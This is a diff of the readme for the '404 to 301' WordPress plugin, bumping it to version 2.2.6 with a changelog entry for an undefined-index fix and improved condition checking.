  License URI: http://www.gnu.org/licenses/gpl-2.0.html
10
 
@@ -128,6 +128,15 @@ Bug reports for 404 to 301 are always welcome. [Report here](https://thefoxe.com
128
 
129
  == Changelog ==
130
 
 
 
 
 
 
 
 
 
 
131
  = 2.2.5 (05/06/2016) =
132
  **Bug Fixes**
133
 
@@ -303,7 +312,7 @@ Bug reports for 404 to 301 are always welcome. [Report here](https://thefoxe.com
303
 
304
  == Upgrade Notice ==
305
 
306
- = 2.2.5 (05/06/2016) =
307
  **Bug Fixes**
308
 
309
- - Fixed issue - Front end was slow.
3
  Tags: 404, 301, 302, 307, not found, 404 redirect, 404 to 301, 301 redirect, seo redirect, error redirect, 404 seo, custom 404 page
4
  Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
5
  Requires at least: 3.5
6
+ Tested up to: 4.5.3
7
+ Stable tag: 2.2.6
8
  License: GPLv2 or later
9
  License URI: http://www.gnu.org/licenses/gpl-2.0.html
10
 
128
 
129
  == Changelog ==
130
 
131
+ = 2.2.6 (30/06/2016) =
132
+ **Bug Fixes**
133
+
134
+ - Fixed issue - Undefined index when accessed directly.
135
+
136
+ **Improvements**
137
+
138
+ - Improved condition checking.
139
+
140
  = 2.2.5 (05/06/2016) =
141
  **Bug Fixes**
142
 
312
 
313
  == Upgrade Notice ==
314
 
315
+ = 2.2.6 (30/06/2016) =
316
  **Bug Fixes**
317
 
318
+ - Fixed issue - Undefined index when accessed directly.